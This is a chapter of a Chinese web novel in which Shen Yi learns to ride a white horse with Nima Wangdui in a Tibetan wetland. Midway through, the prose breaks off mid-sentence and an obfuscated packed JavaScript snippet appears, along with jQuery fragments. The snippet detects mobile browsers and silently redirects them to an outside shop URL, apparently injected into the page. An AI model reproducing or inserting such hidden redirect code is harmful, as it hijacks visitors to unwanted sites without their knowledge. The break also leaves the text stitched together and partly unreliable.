‘记忆有时是顺着气味攀爬的藤蔓’。


    后来沈翊想，如果西藏的气味是一本厚重的经卷，那么骑马那天的气味，一定是其中被反复摩挲、页脚卷起的一页。


    混合着干草的微甜、马匹皮毛的暖腥、湿地泥土的湿润，还有尼玛旺堆递来的那块奶渣在口腔化开时，那股浓烈到几乎呛人的醇厚奶香。


    那是在刚来西藏不久，刚在湿地跌倒弄.湿衣服的之后。


    沈翊盘腿坐在主屋的火炉边，正对着笔记本屏幕发呆。


    他在尝试写点什么，关于这些日子，关于这片土地，但文字总是显得苍白。


    门帘被掀开，带进一股冷飕飕的寒气，尼玛旺堆探进半个身子，肩头和发梢沾着未化的雪粒。


    “哥，”他叫了一声，眼睛在炉火的映照下亮得惊人，“想不想学骑马？”


    沈翊抬起头，一时没反应过来。


    “骑马？”


    “嗯。今天天气好，马也闲。”尼玛旺堆走进来，拍了拍身上的雪，“湿地里那几匹，认得我，很温顺的。”


    沈翊合上笔记本。


    心脏莫名地快跳了两下，被他这幅可爱的样子轻轻撞了一下。


    他想起了小时候在公园里骑过的、被人牵着慢慢走的矮种马，想起了电影里那些在草原上驰骋的潇洒画面，那些都遥远得像另一个世界的事。


    “我……没骑过马。”他说，声音有些干，也有点紧张。


    “所以才要学。”尼玛旺堆说得理所当然，仿佛这是世界上最自然的事情，“走吧，穿厚点，湿地里风大。”


    他们出发时已是午后两点。高原上的太阳斜挂着，光线金黄而透明，把两人的影子拉得细长。


    尼玛旺堆没开车，说是路不远，今天就走路去。他背着一个鼓囊囊的藏式布包，走在前头，脚步轻快稳健。


    沈翊跟在后面，看着他的背影，今天尼玛旺堆穿了件深褐色的藏袍，腰束得很紧，更显得肩宽腰窄，步伐间有种猎豹般的流畅感。


    “马是湿地里野放的？”沈翊加快几步，与他并肩。上次去的时候他没有看到马。


    “算是。有几匹是村里人共有的，夏天驮东西，冬天就散养在湿地。”尼玛旺堆侧过头看他，“它们认得我。我小时候常去喂盐巴。”


    “喂盐巴？”


    “马需要盐分，冬天草料营养不够，喂点盐，它们就愿意亲近你。”尼玛旺堆说着，从口袋里掏出一块用油纸包着的、黄褐色的晶体，“看，就是这个。”


    沈翊接过，凑近闻了闻，没什么特别气味。他想起小时候看的西部片，牛仔们也会给马喂盐块。


    “你好像……很懂动物。”他轻声说，随即又想起第一次来的时候是去给鸟和植物拍照，这次是去照顾马。


    尼玛旺堆沉默了几秒，才开口：“不算太懂。只是觉得，你跟它们好好说话，它们能听懂。”他顿了顿，“人总觉得自己比动物聪明，其实动物懂得更多，懂得天什么时候要下雪，懂得哪里的草最甜，懂得谁对它好。”


    沈翊没接话，他想起家里那只高冷的猫，想起湿地里的牦牛，想起在手机里看到的那只被僧人收养的小动物。


    在这片土地上，人与动物的界限似乎不像其他地方那样分明，不是“宠物”与“主人”，而是共享同一片天地的、不同形态的生命。


    湿地很快出现在眼前。冬日的湿地褪去了春夏的丰腴，呈现出一种粗粝而坦荡的美感。枯黄的草甸一望无际，间或有未结冰的水洼像镜子般镶嵌其中，倒映着天空和远山，还有附近的树，在倒影处形成美丽的风景线，几匹马散落在远处，正低头啃食着干草。


    尼玛旺堆停下脚步，将两根手指抵在唇边，吹出一声悠长而清越的口哨。


    口哨声在空旷的湿地上传得很远。


    远处的马群抬起头，其中一匹白马格外显眼，它比同伴高大些，毛色在阳光下泛着银亮的光泽。它侧耳听了听，随即扬蹄朝着他们的方向小跑而来。


    沈翊屏住了呼吸。


    他曾在北京的动物园和马术俱乐部见过马，但那些马都隔着栅栏或绳索，带着被驯服后的温顺与疏离。与这里的不同。


    白马奔跑的姿态自由而舒展，四蹄踏过枯草时溅起细碎的冰碴，脖颈的鬃毛在风中飘扬，潇洒及了。


    它径直跑到尼玛旺堆面前才停下，喷着白色的鼻息，用脑袋亲昵地蹭了蹭他的肩膀。


    “这是‘嘎玛’，”尼玛旺堆抚摸着白马的脖颈，声音温和下来，“藏语里是星星的意思。它今年七岁，正是年少轻狂的时候。”


    沈翊站在一旁，看着这一人一马的互动。


    尼玛旺堆的手掌宽大，抚摸马颈的动作却异常轻柔，像是在安抚一个老朋友。白马闭上眼睛，似乎很享受，偶尔甩甩头，鬃毛扫过尼玛旺堆的手臂。


    “来，”尼玛旺堆转向沈翊，“摸摸它。别怕，它不撞人。”


    沈翊犹豫着伸出手，指尖触碰到马颈的瞬间，一种神奇的触感传来，皮毛光滑而温暖，底下的肌肉结实有力，能感受到血液奔流带来的轻微震颤。


    白马转过头，用那双湿漉漉的、睫毛浓密的大眼睛看了他一眼，眼神平静而好奇。像是在说：“人类？这你新朋友”


    “它喜欢你呢。”尼玛旺堆笑了。


    “你怎么知道？”


    “马的眼睛不会说谎。”尼玛旺堆说着，从布包里拿出一条叠好的鞍垫，“来，我们先从备鞍开始。”


    接下来的半个小时，沈翊体验了一种全新的“学习”。


    尼玛旺堆教他如何将鞍垫平稳地放在马背上，如何调整肚带的松紧。“不能太紧，勒着它难受；也不能太松，待会儿你会滑下来。”他的讲解细致而耐心，每一个步骤都亲自示范，然后让沈翊尝试。


    沈翊的手指因为紧张而有些笨拙，系肚带时，他试了几次都没系好。尼玛旺堆没有催促，只是站在一旁看着，偶尔在他明显犯错时轻声提醒：“反了，从下面穿过去。”


    终于备好鞍，尼玛旺堆拍拍马背：“上吧，我扶着你。”


    沈翊看着马背的高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183013|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    度，突然感到一阵心虚，他想起小时候那次公园骑马的经历，他被父亲抱上马背，马一动，他就吓得尖叫，最后被母亲抱下来，还被其他孩子嘲笑。从那以后，他对“骑马”这件事总有种隐秘的恐惧。


    “我……”他张了张嘴。


    “没事的。”尼玛旺堆似乎看穿了他的犹豫。他走到沈翊身边，将一只手稳稳地放在他的后腰，“左脚踩马镫，右手抓鞍桥，我数一二三，你就用力上去。我会扶住你。”


    他的声音很低，很近，带着十足的自信，沈翊深吸一口气，按照指示将左脚伸进马镫。


    “一、二、三”


    沈翊用力一蹬，身体腾空的瞬间，尼玛旺堆的手在他后腰稳稳一托。


    下一秒，他已经坐在了马背上。


    视野骤然升高。


    湿地的全景在眼前展开，枯黄的草甸延伸到天际线与雪山相接，零散的水洼像破碎的镜面，反射着天空的蓝。


    风从四面八方吹来，比站在地上时更凛冽，却也更自由。


    “感觉怎么样？”尼玛旺堆仰头问他，手还扶着马鞍。


    “好高。”沈翊诚实地说，双手紧紧抓住鞍桥。


    “习惯就好。”尼玛旺堆将缰绳递到他手里，“握紧，但别太用力，马能感觉到你的紧张。”


    沈翊接过缰绳，皮革的质感粗糙而结实。


    他低头看着尼玛旺堆，从这个角度，能清楚地看到他浓密的睫毛，看到他仰视时拉长的脖颈线条，看到他眼中毫不掩饰的笑意。


    “现在，让嘎玛慢慢走。”尼玛旺堆松开扶着马鞍的手，退开两步，“轻轻夹一下马腹，别太用力。”


    沈翊照做。


    几乎是同时，白马迈开了步子。


    那是一种极其奇妙的体验。


    马匹行走的节奏缓慢而平稳，沈翊的身体随着这节奏轻轻摇晃，起初僵硬，渐渐放松。他学着尼玛旺堆教的那样，挺直背，放松肩膀，目光看向前方。


    尼玛旺堆走在马侧，与他保持着一步的距离。他不时抬头看沈翊，提醒他调整姿势：“背再直一点……对……手放松，让缰绳有一点……”


    湿地的风迎面吹来，带着枯草和泥土的气息，沈翊的呼吸渐渐平稳，心脏的跳动从最初的慌乱，变成了一种兴奋的、充满生命力的搏动。


    他低头看自己的手，握着缰绳的手指因为用力而微微发白，但已经不再颤抖。


    “很好。”尼玛旺堆说，声音里带着赞许，“现在试试让它小跑。脚后跟轻轻磕一下马腹，同时身体微微前倾。”


    沈翊犹豫了一瞬，还是照做了。


    白马加快了步伐，从行走转为小跑。


    世界瞬间变得不一样了。


    风声在耳畔呼啸而过，眼前的景色开始流动。


    枯草向后飞掠，水洼的倒影碎成一片片光斑，马背的起伏变得明显，沈翊的身体不由自主地随着这起伏调整重心，起，落，起，落，像在跳一支与大地共鸣的舞。


    有那么几秒钟，他完全忘记了恐惧。